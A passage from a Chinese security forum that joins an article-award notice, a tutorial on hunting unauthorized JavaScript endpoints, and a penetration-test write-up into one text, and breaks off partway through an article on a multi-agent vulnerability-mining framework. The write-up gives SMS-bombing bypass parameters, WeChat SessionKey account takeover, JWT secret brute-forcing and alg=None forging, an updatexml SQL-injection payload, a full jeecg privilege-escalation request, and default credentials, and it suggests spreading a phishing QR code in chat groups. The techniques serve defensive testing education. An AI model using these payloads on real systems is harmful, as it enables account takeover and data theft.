标签 漏洞挖掘 下的文章

火线Zone 25年Q1季度技术文章奖励公示

亲爱的火线Zone社区成员们,

自火线Zone征稿奖励方案启动以来,我们收到了众多技术专家的杰出投稿。这些高质量的原创技术文章不仅丰富了我们的社区知识库,也极大地促进了安全技术的交流与分享。在此,我们对所有积极参与的创作者表示衷心的感谢,并希望激励更多的技术专家加入我们的行列,共同推动技术安全生态的繁荣发展。

精华文章奖

经过严格的小组讨论审核,以下文章内容符合奖励要求,文章凭借其深度分析和独到见解,手法招式新奇有创意,荣获”精华文章奖“,各获得100查克拉 + 1000RMB的奖励;

  1. 红队实战:谈一谈红队中的钓鱼姿势实战版 作者:和
  2. 【挖洞之旅】一种验证码爆破漏洞的全新思路 | 简单实用 作者:cc55y

优秀文章奖

经过严格的审核流程,以下文章符合社区征稿意向,内容充实有新意,荣获“优秀文章奖”,各获得50查克拉积分 + 500RMB的奖励:

  1. 将AI结合进越权扫描,助力SRC挖掘。 作者:Ed1s0n
  2. 谈一谈红队中的社工钓鱼姿势(上) 作者:和
  3. 谈一谈红队钓鱼中的姿势(中) 作者:和
  4. 谈一谈红队种的钓鱼姿势(下) 作者:和

基础投稿奖

以下文章也通过了我们的审核,符合基础投稿奖励要求,每位作者将获得50查克拉积分的奖励:

  1. 利用Ollama对Deepseek 模型进行攻击 作者:jylove
  2. 红队攻防中HW的一些艺术 作者:routing

奖励发放说明

  • 所有获得奖励的文章将同步发表在火线Zone公众号上,以飨更广泛的读者群体。
  • 奖励将在每月的第一周统一发放,涵盖上月投稿的所有合格文章。请获奖者留意自己的火线安全平台账户。
  • 如对奖励有任何异议或疑问,请及时联系火线小助手

内容征集及奖励方案详情

我们诚邀更多的技术专家加入火线Zone社区,共同构建技术安全生态。更多内容征集及奖励方案详情请访问:火线Zone社区规则升级,共建技术安全生态

结语

火线Zone社区对每一位创作者的辛勤工作和贡献表示最深的敬意。我们期待在未来的日子里,继续与您携手合作,共同书写技术安全的新篇章。

再次感谢所有支持火线Zone的朋友们!

火线Zone社区团队
2025年4月


版权声明: 本文内容由火线Zone社区原创发布,未经允许,不得转载或用于商业用途。如需转载,请遵守转载说明中的相关规定。

议题分享:Vigor2960 Memoirs \nPursuit of the Elusive 0day & 1day

0x1 前言

哈喽,师傅们!

这次又来给师傅们分享我的文章心得了呦,这次是给师傅们分享下js未授权漏洞挖掘的一个小技巧的汇总,然后也是会给师傅们分享几个案例,带师傅们更加深刻的理解和看的懂这个js未授权,然后再带师傅们去挖这个漏洞,从怎么挖去带师傅们掌握这个js未授权。

然后特别是给一些不会挖漏洞,然后针对于FindSomething插件工具的使用来做一个分享,让师傅们对呀FindSomething插件的使用更加娴熟,能够更好的利用这个插件,然后让师傅们挖出属于自己的第一个js未授权漏洞!

0x2 js未授权简介

一、什么是未授权?

首先理解什么是未授权漏洞
未授权字面上理解是未获得授权,对于正常的业务来说,有些功能点需要经过登录之后才能进行,那么如果我们通过一些绕过,无需登录也可以完成此类操作,那么便是未授权访问漏洞了。

二、常见的未授权访问漏洞

常见的未授权漏洞一般分为两种:

  1. 组件类的,如js未授权、redis未授权、mongodb未授权等,也是比较常见的。对于此类漏洞,可以理解为不需要登录即可执行里面的功能,所以存在未授权漏洞。
  2. WEB层面的,如某某CMS未授权文件上传、未授权创建账号、findsomething接口拼接未授权访问敏感信息泄露等。因为可以绕过登录限制进行操作,所以存在未授权访问漏洞。

三、浅谈

未授权访问的挖掘不是针对所有网站,这只是一种思路,通过信息收集来实现登录绕过,从而达到未授权。正常来说可以通过抓包修改返回值也可以达到绕过,前提是不知道网站代码的判断情况下,可以尝试猜解返回值。如果网站后端认证做好了,是不会有该漏洞的。

0x3浅谈 js未授权挖掘技巧

一、常规js未授权挖掘

这里就要和师傅们分享下我之前在没有认真研究js未授权的时候,喜欢的一个针对js的一个测试手法。我相信很多师傅应该都是和我一样的思路,就是大家知道且都非常喜欢使用的一个插件findsomething。就是常见的使用findsomething小熊猫头插件打开,然后把里面的泄露的路径进行拼接使用,然后直接拿bp进行POST/GET方法都进行跑一遍,然后再看看有没有什么js路径拼接,然后导致的敏感信息泄露。

然后把插件泄露的js路径保存到一个txt文件夹里面

然后简单的进行GET/POST跑下

然后跑完以后会发现,怎么还是没跑出什么东西来,然后就这样觉得这个js路径很安全,没有漏洞,直接下了

Google插件FindSomething下载链接:https://chromewebstore.google.com/detail/findsomething/kfhniponecokdefffkpagipffdefeldb

二、使用findsomething插件工具的目的

为了寻找隐藏的接口

JS中存在一些网址或接口信息,特别是隐藏的一些信息,也就是UI中没有的,这些隐藏的 接口很有可能存在各种常见的漏洞,例如越权,未授权等。

如果我们通过JS中的信息构造出完整的隐藏接口和传参,就有可能发现极其隐蔽的漏洞

三、js未授权挖掘小技巧分享

师傅们来看下下面的这个接口,是不是可以看到存在一个id参数,那么你要是直接把这个复制下来,然后去使用bp跑,是不是再怎么跑都跑不出什么信息泄露

然后还有就是下面的这个js接口,findsomething显示出来的接口,一个?id=xxx的一个参数,像碰到这样的,我们是不是得提前进行一个数据的处理,然后再放到bp去跑接口,才会最大可能性让你找到一些敏感信息泄露的接口,这样就是有些师傅挖不到js未授权的漏洞,但是有些师傅却可以的原因之一了

还有下面的这种情况,就是跑js路径的时候,需要我们注意前面是否有前缀

像上面的存在一个#的路径,建议是师傅们单独把这些js路径给拿出来,进行一个手动拼接尝试看看未授权,或者说要爆破,那也得把这个/#/这个给带上,然后再进行一个爆破,下面简单来拿百度的给师傅们看看这个案例

下面可以把findsomething的url复制到一个txt文本里面,然后进行替换如下:

四、查询接口的未授权访问测试奇招

就是我们平常在测试漏洞的时候,有时候不传参,或者在参数置空,发包的时候,对方服务器返回的请求是500的时候,那么有时候使用下面的参数进行一个传参,把这个给加上去,那么有时候会有一个不一样的效果,有时候就能返回一些高权限才可以看的内容

{
"pageNum":"1",
"pageSize":"100"
}


{
"pageNo"1",
"pageSize":100,
}

五、HAE匹配规则

下面是我给师傅们整理的HAE正则匹配,直接使用bp中的hae插件,把下面的规则直接导入到bp插件hae中,或者编辑Rules.yml文件

type:"POST"|type:"GET"|post("|get("|ashx?|ashx|ur1:|ur1:"|ur1:|path:|path:|path:|action?|data|params

0x4 总结

针对js未授权漏洞的一个分享呢就到这里文章就结束了,希望这篇文章对师傅们有帮助。

师傅们在挖掘企业src或者edu过程中,这个js未授权和使用FindSomething插件使用去挖掘漏洞来讲,特别是针对小白师傅们是非常友好的,也是蛮建议师傅们看完我的文章然后去进行一个js未授权的一个漏洞挖掘,这样可以让师傅们更加掌握这个技能,也是希望师傅们偶尔挖挖漏洞,然后赚点赏金什么的。

文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!

声明

本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
此文章不允许未经授权转发至除 火线Zone 社区 以外的其它平台!!!

0x1 前言

一、浅谈

这篇文章主要是给师傅们分享下前段时间我们公司做的渗透测试,这次是跟市里面的网信办一起做的。因为是第一次所以我们这次做的渗透测试价格不高,主要是为了后面连续几年的一个渗透测试服务项目。

这次的渗透测试范围特别广,包含整个市里面的好多政企单位和学校,资产多,测试起来也就比较简单。下面简单给师傅们分享下一些渗透测试上面的漏洞复盘,给新手师傅们,特别是没有参加过渗透测试的师傅们给点经验。这里需要注明下,该项目中的漏洞目前已经全部修复了,另外提醒师傅们不要做未授权测试。所以下面的渗透测试漏洞案例中又部分截屏不全,我会备注,因为目前已经修复了。

二、资产整理

首先我会把公司发的跟这次渗透测试项目相关的文件和资产,还有一些些漏洞报告的模版之类的汇总在一个文件夹中,这样方便后面我自己进行一个漏洞报告编写,以及资产的收集整理,比如像web资产和APP、小程序漏洞都是可以分开整理

我们在渗透测试项目之前,甲方那边都会给我们一些资产相关的表格,下面就是常见的excel表格资产,还有就是有些甲方可能目标资产不是那么多,且大多都是web资产,直接也有发txt文件的

txt的类型像下面的如下:

然后像渗透测试,还有就是授权书也是得有的,这里我们都是合法授权渗透测试的项目,跟那边都有授权合作的项目书,这里也希望师傅们能够合法进行渗透测试

0x2漏洞一 短信轰炸

一、纵向轰炸

这里首先先带师傅们看看渗透测试常测试的点,比如像登陆口,一般都有手机号码登录,手机号码验证登录,需要我们接受短信验证码,然后进行登录操作。像渗透测试还有重测和src漏洞挖掘中,短信轰炸都是收的,企业src价格低点,且一般香短信轰炸,一般像很多企业都要求在比如每分钟15/30条以上就收。

这里测试的手是一个人力资源管理局的一个微信小程序,这里直接输入我自己的手机号,然后使用bp抓包,拦截短信验证码发送的数据包:

直接把数据包放到重放模块,下面直接go一下(第一次go)数据包

可以看到数据包回显是正常的,且手机也是正常的接受到了短信验证码了

但是第二次再次点击发送数据包,缺显示报错,意思是我们已经发送了一次,在短时间类不能再发送了

这里我们就可以想下了,我们能不能进行一个验证码发送限制次数的绕过,这个要是能绕过,无限次数的发送验证码是会消耗这个单位的一个资源的

然后我们就可以进行一个测试了,看看什么字符可以进行绕过验证码发送呢?

经过测试发现,可以通过@、空格、+86、逗号等进行绕过,从而达到短信轰炸的漏洞危害:

我们如果要把危害加大,达到一分钟短信轰炸达到几十条,那么我们就要利用bp的爆破了,我们手动添加多个绕过字符,然后进行爆破,尽量多的提高每分钟爆破短信验证码的发送次数,以此来提高这个漏洞的危害:

然后师傅们就可以看自己的手机上面的短信验证码了,就可以看到一次性并发绕过了很多条短信验证码:

二、横向轰炸

然后这个人力资源局的小程序还存在横向爆破绕过漏洞,可以进行双手机号验证码同时进行发送,从而造成逻辑漏洞,下面师傅们可以参考下我具体的绕过技巧,在碰到这样的场景时候,直接去实操即可

类似下面的,常用的就是下面几个:

phone=13888888888,phone=13999999999
phone=13888888888&phone=13999999999
phone=13888888888,13999999999
phone=13888888888&13999999999

下面我就直接重新回到刚才上面的抓包步骤,抓取发送短信验证码的数据包,然后去尝试使用上面的绕过方法,看看能不能进行绕过,双手机号验证码同时发送,这里我使用我的卡一和卡二来演示:

我这里使用的就是下面这个思路:

phone=13888888888&13999999999

然后就可以看到自己手机短信验证码,收到了来自卡一和卡二一样的验证码,且时间也是一样的:

然后我们这里就可以使用卡二的手机收到的验证码,只需要知道卡一的手机号就行了,那么就可以直接登陆卡一的账号

那么我们后面深入利用就可以去改人力资源局相关站点去搜索电话号码,然后使用这个漏洞就可以越权登陆其他账号,特别是像权限比较高的admin之类的管理员账号

三、短信轰炸总结

下面是我之前总结的一些验证码爆破的一个思维导图,师傅们可以保存下,对于挖掘企业src和众测的时候,厂家收不收呢,其实可以看看相关的文档,一般都是定义每分钟15/30条以上就收

0x3 漏洞 二 SessionKey三要素泄露

一、未授权登陆

下面这个漏洞就是给师傅们分享下,在渗透测试中比较容易发现,并且好打的一个漏洞点——SessionKey三要素泄露,这个漏洞在蛮多微信小程序中都存在,且利用的手法不难,看完我这篇文章,师傅们也可以去测试下

这个漏洞需要使用到一个SessionKey三要素解密的工具,有直接下载使用的,也有burpsuit插件,反正原理都是一样的,加解密→替换数据包→未授权登陆

1、首先介绍下使用到的SessionKey解密工具

https://github.com/mrknow001/wx_sessionkey_decrypt/releases/tag/v0.1

这个工具直接双击运行即可,类似下面的:

还有一个就是使用burpsuit的自带插件

https://github.com/mrknow001/BurpAppletPentester/releases/tag/v1.1

直接就可以导入到bp插件中

2、这个微信小程序是目标资产中的一个大学的小程序设备,大学那种预约访谈进出校园、校园招聘那种功能点,像这样的基本上都有那种手机号一键登陆的功能点,像这样的微信小程序手机号一键登陆,很大概率存在SessionKey三要素泄露漏洞,这样的漏洞我之前挖EDUSRC挖了好多,且有一本证书站也就是这个漏洞,但是没有那么明显

3、点击手机号快捷登陆操作,直接使用bp抓包,可以看到数据包中出现了SessionKey三要素泄露:

4、直接一键发送到AppletPentester 插件中

5、直接一键解密即可

6、在信息收集的时候,在一个接口中,发现这个微信小程序里面有很多的一些学校老师信息,比如手机号之类的,然后这里我就带师傅们利用这个SessionKey三要素泄露漏洞,直接未授权登陆管理员老师账号

直接替换成管理员老师176的手机号,然后点击加密

再进行登陆口抓起数据包,替换数据包,然后点击重发数据包即可

就可以直接未授权登陆这个账号了

二、弱口令+信息泄露

然后,我这里直接把这个小程序的host拿到web页面去访问,因为我一般打小程序都有这个习惯,看看web端有没有系统,特别是那种登陆系统,弱口令的概率很大

打开web端访问,直接跳转这个页面,特别经典的若依系统页面

这里直接使用刚才的手机号+弱口令密码

直接成功登陆了后台,里面泄露了整个学校的学校个人敏感信息

0x4 JWT爆破攻击

一、可爆破/未验证签名导致越权

首先通过微信搜索小程序,找到对应目标资产中的小程序系统

直接点击这个微信小程序,这个时候我们需要一直打开我们的bp抓取小程序的数据包(这个是一个测试小程序的一个好习惯,因为有些接口,包括敏感信息泄露,看历史的数据包很关键),然后看看数据包有没有什么提示,因为这里我的bp安装了HAE,一般重点关注带颜色的数据包

这里我们可以看到bp的历史数据包,显示了多个JSON Web Token也就是大家常说的JWT值,像一般碰到这样的JWT值,我一般都会选择JWT爆破尝试haiy选择有无设置None加密,去进行做一个渗透测试

这里先直接复制到https://jwt.io/ 去看看这个JWT里面的内容,然后去猜测这个paylod校验哪部分

下面我来给师傅们讲解下这个payload代表什么,一些新手师傅可能没有了解过,包括后面进行数据包替换,也是要修改其中的payload值

|字段名|值|说明|
|-|-|-|
|role|appUser|用户角色,表明用户属于应用层普通用户(非管理员)|
|exp|1747377338|令牌过期时间(Unix 时间戳)。通过转换可得具体时间:2025-11-14 11:15:38 UTC|
|userId|xxxxxxxxxxxxxxxxxx|用于标识用户身份|
|user_key|xxxxx-xxxx-xxxx-xxxx |用户密钥或关联密钥(可能用于访问控制或加密)。|
|username|1xxxxxxxxx79|手机号,一键微信登陆的|

这里先使用自己修改的JWT脚本爆破工具,看看能不能爆破出密钥

爆破发现其密钥为123456

然后直接来到刚才JWT的网站,去利用该key构造JWT,可以直接进入后台,下面的勾需要勾上

因为这里我经过测试,这个网站的JWT是对user_key进行校验,所以只要在规定时间内user_key不过期,那么我们就可以拿另外一个手机号进行测试,替换bp抓取登陆口的数据包,然后放包就可以直接登陆别的账号

首先这里需要修改下时间戳,拿这个网站:https://tool.lu/timestamp/ 一般都是改成第二天的时间,不可以早于测试时间

还有就是把username替换下,这里我做测试,替换我的卡二,也就是最后面说93的尾号,因为经过测试,普通用户的role 都是appuser,这里猜测管理员可能是admin

然后直接在小程序登陆口,使用bp抓包,然后劫持数据包,进行替换token值,因为这里经过测试是校验的JWT值

通过不断替换JWT值,然后不断测试放包,放包,最后面可以直接不需要使用账号密码,直接登陆改账号

二、设置加密为None导致不验证签名从⽽达到越权

上面那种情况只需要爆破密钥,或者一些系统框架默认使用一些密钥,没有经过修改,可以直接利用默认key的那种,这里给师傅们讲解下那种设置加密了——None加密,导致直接爆破不了,需要使用JWT工具自动生成None加密的四种不同算法,也可以理解成一种绕过思路

这里需要使用的工具是jwt_tool,下载地址如下:https://github.com/ticarpi/jwt_tool

这里我这个小程序是不存在这个漏洞,但是这里给没有学过这个漏洞的师傅们演示下

python jwt_tool.py JWT值

会直接显示JWT解密以后的内容显示出来

下面使用这个工具来测试 None 算法漏洞

使用下面的这个语法跑这个脚本,⾃动⽣成 4 种 None 算法的变体(⼤⼩写敏感测试),其实也就是使用这四个token去挨个尝试替换,然后发包,看看返回包是否有成功回显数据

python jwt_tool.py JWT值 -X a  

burpsuit返回包总结:

401 Unauthorized → 签名校验失败,可尝试算法混淆或密钥爆破
200 OK → 攻击成功(罕⻅,说明存在⾼危漏洞)
{"error":"alg not allowed"} → 服务端禁⽤ None,可尝试算法改⽤其他攻击向量(如 PS256 → HS256)

0x5 OAuth2.0漏洞

这次我在测试过程中碰到了OAuth2.0漏洞,是一个企业的微信公众号和一个带宣传性的一个登陆管理网站存在的这个漏洞,直接存在二维码不需要二次确认扫描,目前已经被修复了,但是那种漏洞的站点很明显,截屏那个网站的logo打码也看的出来

所以这里直接给师傅们分享下我之前写的一篇关于OAuth2.0漏洞的文章,在先知社区原创的文章:https://xz.aliyun.com/news/16153

简单案例分享

简单来讲就是在登录过程中,比如可以使用第三方应用授权登录,且扫描二维码登录不需要确认校验,直接扫码即可登录,那么就可以使用二维码钓鱼之类的危害,就是文章开头的描述的百度案例一样。

这里进入后台,然后有一个使用微信绑定,扫描二维码的功能

点击立即绑定,然后就会弹出来一个二维码,那么我们就可以拿这个二维码进行一个钓鱼欺骗,让别人扫描二维码,从而绑定别人的微信号

就跟我上面的一个,搞一个钓鱼的二维码模板,然后往一些网安群里面一发,说什么小白免费领取网安教程,只需要扫描此二维码即可(肯定有人扫的)

0x6 jeecg泄露漏洞

一、jeecg框架简介

JeecgBoot是一款基于AIGC、BPM和低代码引擎的AI低代码平台,旨在帮助企业快速实现低代码开发和构建个性化AI应用!前后端分离架构Ant Design&Vue3,SpringBoot,SpringCloud Alibaba,Mybatis-plus,Shiro。强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE, 帮助Java项目解决80%的重复工作,让开发更多关注业务,快速提高效率 节省成本,同时又不失灵活性!低代码能力:Online表单、Online报表、大屏/仪表盘设计、表单设计、流程设计、报表设计;AI能力:AI应用平台+知识库问答、AI模型管理、AI流程编排、AI聊天、AI建表等,支持各种AI大模型ChatGPT、DeepSeek、Ollama等.

jeecg官网如下:

https://www.jeecg.com/

二、jeecg综合漏洞利用工具

这里先给新手师傅们分享个还不错的jeecg漏洞利用工具,首先这个工具书GUI图形化工具,还有就是这个工具更新了很大jeecg的历史nday漏洞在里面,使用操作简单

工具下载链接:https://github.com/MInggongK/jeecg-

这里给师傅们演示下,直接把可能存在jeecg漏洞的url导入目标中,然后选择ALL模块,进行检测即可

三、从小程序到web端接口泄露

好了,这里废话不多说了,这里回归这次渗透测试项目中来,再次给师傅们分享下这个漏洞,因为有些刚接触网安的师傅还没有接触这个漏洞,所以这里给大家分享下,这次jeecg漏洞通过以前保留的一些jeecg测试手册,一些jeecg的接口和bp数据包,像这样的jeecg框架系统,都是可以直接拿来测试

1、首先,这个系统漏洞还是小程序,直接搜索对应资产小程序名称,这个系统是该市里面的一个大学的缴费系统

2、打开微信小程序,首先我会直接去打开bp抓包,然后这里随便点击里面的功能点,然后进行看里面的数据包

然后去翻里面的历史数据包,师傅们可以看到下面的table关键字

这个tableNane关键字让我感到兴趣,是因为开发人员在一些做接口命名的时候,不会随意取名称,他这个接口后面的tableNane=xxxx,这里我直接去拿table表名出线多的去尝试猜测下

这里我尝试了几个,但是都没有出信息,还尝试了information_schema.tables表名,都没有什么数据回显

然后我这里还尝试直接把表名置空,但是依然没有什么敏感数据回显

3、这里直接把小程序数据包中的host域名和端口,直接放到web端去访问,然后再尝试别的测试

4、这里使用findsomething插件,去跑下web页面泄露的接口,这里把收集到的接口放到一个1.txt的文件中

5、这里师傅们要是没有思路,最简单的就是就可以直接把findsomething插件泄露的接口利用bp的POST和GET方法都跑一遍即可。但是这里我需要找找我保存的接口里面有没有泄露跟tableName相关的

6、通过findsomething插件,得到了好几个tableName的接口,然后直接使用bp去访问,发现一个接口直接泄露了四百多个数据表格名称

然后每个表里面都泄露了好几百个个人敏感信息,比如身份证、手机号、姓名之类的

四、SQL注入漏洞

这个小程序的一个接口还存在SQL注入漏洞,通过测试,直接可以注入出数据库名称,直接又一个SQL注入到手了

SQL注入payload:updatexml(1,concat(0x7e,user(),0x7e),1)

五、提权操作

师傅们,其实测试到这里,这个系统小程序和web端都摸熟悉了,就是jeecg的系统框架,里面的很多接口都是jeecg开发默认的接口名称,但是前面的路径发生了一点变化,没有原班直接拿jeecg的接口使用,但是经过FUZZ测试出来了很多接口,这里给师傅们分享下,我先注册一个账号,然后提权到admin管理员账号的过程。

首先我使用register注册接口,注册一个账号

下面就是提权的一个操作了,需要再次FUZZ接口,因为打jeecg漏洞多的师傅们,都知道,jeecg有很多的接口,像什么注册、查信息,查user_id,查所以账号的token值,还有用户敏感信息等,但是现在很多系统都不会直接拿jeecg都路径接口部署了,多多少少会进行魔改

这里首先需要查询管理员admin的账户ID

然后查询自己刚才创建用户的ID值

然后使用打提权使用的jeecg漏洞poc,如下:

//roleld填写需要提权的角色id userldList填写自己的id

POST xxxxx/jeecg-boot/sys/user/addSysUserRole(jeecg接口,需要自己去尝试,不一定是我这个) HTTP/1.1
Host: 
Cookie: cna=Ov9SH4RxGiACAf////9C18zb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjUzNzMyNDMsInVzZXJuYW1lIjoiMTEwMTAyIn0.NXRckymfKdZvEFsDQZ9Jwvk_rU_gVny2Rx6A
Tenant-Id: 0
Origin:
Dnt: 1
Referer: 
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 96

{
"roleId":"xxxxxxxxxxx",
"userIdList":[
"xxxxxxxxxxxxxxxx"
]

}


这样就成功创建了这个系统的admin管理员的账户了,后面的思考就是直接使用创建的账户密码,去尝试爆破登陆其他系统

六、其他jeecg小技巧

下面再给大家总结下jeecg的其他打法小技巧

一、常见的接口敏感信息泄露:

/v2/api-docs
/swagger-ui.html
/env

//获取参数信息
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace

二、常见jeecg框架接口关键字:

像看到下面的几个关键字,首先需要想到使用jeecg去打,因为很多现在直接把jeecg关键字给魔改了

jeecg/

api/sys/

sys/user

三、jeecg的几个常用弱口令:

可以使用下面的弱口令去尝试爆破下登陆接口

admin:123456

jeecg:123456

0x7 总结

然后还有很多其他的漏洞,这次文章就不一一给师傅们分享了,留着下次有时候给师傅们分享,这次写这篇文章由于之前的渗透测试项目漏洞都修复 了,我才写的这篇文章,所以实属不易,为了给师傅们演示的那么细致,特意去网上现找了一些漏洞实操截图给师傅们,因为之前的漏洞报告没有写的那么详细,这里怕新手师傅看不懂。

这次渗透测试总共提交了四五十个漏洞报告,其中包括很多框架系统的默认弱口令,这个确实让我蛮意外的,还有一些网上的nday,这里面有些老系统也存在,因为测试的资产比较多,所以相对来讲出洞率较高。

最后,希望看完这篇文章的你,也可以挖到心仪的漏洞!

重塑传统自动化漏洞挖掘的Multi-Agent框架攻防一体化实践

前段时间在某大厂做安全研究时,针对SDLC的重复性审计工作结合大模型Agent思索了一些可行的思路,便在不断摸索中构建了一个Multi-Agent的协同漏洞挖掘框架系统,目前个人使用来看对于开源的web应用的实战效果相比传统的SAST、DAST以及纯LLM的漏洞挖掘工具来说还是很不错的,便记录此篇框架实现过程和当今Agent赋能漏挖的可行性与优势供师傅们交流指点....

0x00 传统漏洞挖掘的困局

当前针对Web应用后端的自动化漏洞挖掘技术主要受困于“覆盖率”与“准确性”难以两全的矛盾:

  • 传统的静态分析技术虽能提供全量的代码覆盖,但由于缺乏对程序运行时状态和复杂业务逻辑的语义理解,往往导致海量的误报噪声,极大地增加了安全工程师的审计成本
  • 而动态应用程序安全测试虽能在黑盒方面挖掘漏洞更具真实性,却受限于黑盒视角的路径探索能力,难以触及深层业务逻辑,会存在很多漏报
  • 目前大语言模型的出现为代码语义分析带来了新的契机,但受限于Context Window 的约束以及生成式模型固有的幻觉问题,直接依赖原生LLM进行大规模代码审计往往导致分析结果碎片化且缺乏可信度,并且直接将代码喂给大模型容易受与漏洞无关代码的影响

0x01 探索漏洞挖掘框架的新出路?

在探索新的框架实现时,我们可以思考是否能将黑白盒的现有技术互补结合来引导漏洞挖掘?以及我们可以看到几年LLM与Agent相关技术如MCP、RAG的工程化落地,能否用LLM赋于框架更好的语义理解和丰富的上下文能力,再通过Agent做一套自动化流程?

为突破上述技术瓶颈,我在探索新的漏洞挖掘框架时也看了一些目前学术界的相关LLM赋能的研究与github开源的技术实现,总体的探索方法还是在论文与现实实践中思考各个方面的优势与缺陷,最终确定做一个基于Muti-Agent协同的智能化漏洞挖掘框架:构建一个从静态分析到动态验证的闭环生态。技术上引入MCP 来作为连接LLM推理能力与静态分析工具的桥梁,利用RAG 技术通过构建高质量漏洞专家知识库来校准模型判定,深度缓解LLM的“幻觉”与知识盲区;同时,结合运行时自动化的流量Fuzz模糊测试技术,将白盒的逻辑推演与黑盒的攻击验证深度融合,减少漏洞的误报和漏报。

这里放一个当时挖到的有CNVD证书的水洞,通过项目上传与聊天,自动化分析审计出多处SQL注入漏洞,并且能够给出攻击POC,以及后续完整的修复方案

image.png

0x02 框架核心:打破黑白盒壁垒

该框架核心架构旨在重构传统安全检测的边界,提出了一种 “白盒语义指引黑盒,黑盒动态验证白盒”的深度融合范式。框架并非单一工具的线性叠加,而是一个基于Multi-Agent编排(Agent Orchestration)的异构系统。

  • 白盒分析维度:框架引入了MCP作为智能体的执行接口,驱动底层的静态分析工具与正则匹配引擎,对代码AST进行初步扫描,快速锚定潜在的危险函数调用Sink。为解决静态分析中常见的上下文缺失问题,进一步融合了RAG 技术:通过引入高质量的博客记录的高精度漏洞知识库,系统能够为大语言模型提供特定漏洞类型的完备的Context上下文与判定依据,从而在保持高代码覆盖率的同时,抑制传统模式匹配带来的误报,实现了从“语法”到“语义”的代码的全面理解提升。
  • 黑盒验证维度:框架构建了运行时的自动化Fuzz模糊测试。该模块独立承担着对Web通用漏洞(如XSS、SQL注入)及敏感信息泄露的覆盖任务。当白盒Agent发现疑似逻辑漏洞时,通过黑盒上的Fuzz可在流量侧生成针对性的变异Payload进行动态优化,通过分析HTTP响应状态来实证漏洞的可利用性。

我认为将静态视角的逻辑推演与动态视角的攻击验证相结合的机制,能极大地提升了漏洞检测的置信度,实现了真正意义上的全链路攻防评估,刚开始时候画的大致架构草图,仅贴示了主要功能,一些细节实现并未展示:

image.png

0x03 智能化Agent设计细节

1. Static Orchestration Agent:基于MCP协议的异构工具编排

在传统的LLM应用中,模型往往被禁锢在文本交互的孤岛中,难以触及本地庞大的代码仓库,且面临着Context Window对海量代码理解的限制。本框架设计的漏洞定位Agent,本质上是一个 静态分析增强型智能体(Static Orchestration Agen) ,通过引入MCP与构建Prompt定义角色任务将LLM从被动的文本生成者转变为主动的工具使用者,通过静态分析获取代码结构中的丰富语义上下文

MCP驱动的“深层感知”

不同于简单的API调用,MCP协议使得Agent能够理解工具的输入输出Schema,实现复杂的推理链条:

  • 工具与模型的语义对齐:通过定义标准化的MCP接口,将底层的静态代码分析工具封装为LLM可调用的能力。
  • 意图驱动的执行:构造合适的CoT思维链Prompt让Agent根据当前的分析任务代码(例如“寻找未授权访问漏洞”),自主决策调用何种工具、传入何种参数。这可以让Agent模拟安全专家的思维过程,主动去探测代码中的漏洞点。

SINK点定位与攻击面收敛

针对LLM处理大规模代码时的“大海捞针”难题,高效定位漏洞利用链

  • SINK点精准锚定:Agent并不直接阅读全量代码,而是利用MCP驱动底层扫描器,基于AST解析和高精度的正则模式,快速提取代码中的SINK点(需要根据不同语言类型的不同漏洞进行扩充分类)

image.png

  • 代码切片与上下文聚焦:一旦定位到SINK点,系统会通过静态分析工具获取sink点污染的上下文Code Slice,并且做到变量语句级,将无关语句统统移除(这里详细的实现师傅们可以去阅读Joern等工具的源码和他的论文,主要在于CPG代码属性图的构建和后向切片等算法技术)。极大地收敛了分析范围,过滤大量无关业务代码,确保输送给LLM进行深度研判的每一行代码都具有潜在的安全价值(无论是控制流还是数据依赖流都对漏洞的存在有潜在的约束和影响)。这不仅大幅降低了Token消耗,更显著提升了后续漏洞验证的准确性。

2. Contextual Reasoning Agent:基于RAG的领域知识增强与检索优化

作为本框架保障检测精度的核心组件,校验 Contextual Reasoning Agent承担着“校验”的角色。针对通用大语言模型在特定安全领域存在的专业知识匮乏逻辑幻觉 问题,本模块引入RAG 技术,人为构建了一个可随时扩展的领域专家知识文档库,通过实时注入精确的先验知识来约束和校准模型的推理过程。

RAG知识库的结构化重构与向量化

为了让非结构化的安全知识能够被机器高效理解,摒弃粗暴的文本截断,采用基于Markdown语法树的结构化清洗策略。系统依据标题层级对海量的漏洞PoC、修复方案及原理分析文档进行逻辑切分,确保每个Chunk都包含完整的语义单元

例如一个简易的MARKDOWN文档:

image.png

动态滑窗与重叠分块策略

在知识切片过程中,为了规避硬切分导致的语义断层,切片策略采用基于重叠策略(Overlapping Strategy)的动态滑窗机制

  • 语义连贯性保障:设定固定的Token阈值作为基础窗口大小,同时引入预设比例的重叠缓冲区。每一分块的末尾段落会被完整保留并作为下一分块的起始上下文。
  • 边界信息无损传输:这种机制确保了跨越分块边界的逻辑描述(如一段跨越多行的代码逻辑或长难句的漏洞解释)不会被割裂,保证了向量检索时上下文信息的完整性与连贯性。

image.png

向量检索与推理运行

采用all-MiniLM-L6-v2模型作为Embedding引擎。该模型在保持低延迟推理的同时,在多语言的语义相似度任务上有更好的泛化能力;数据库采用集成Qdrant向量数据库,支撑大规模向量的高并发检索

  • 上下文感知的推理校准:当定位Agent上报疑似SINK点时,校验Agent会提取当前代码特征,在向量库中实时检索最相似的Top-K个历史漏洞模式和修复示例。这些检索结果被作为增强上下文 注入到LLM的Prompt中,迫使模型基于检索到的“事实依据”而非单纯的概率预测进行最终判定,减少了误报的产生

0x04 动态流量FUZZ

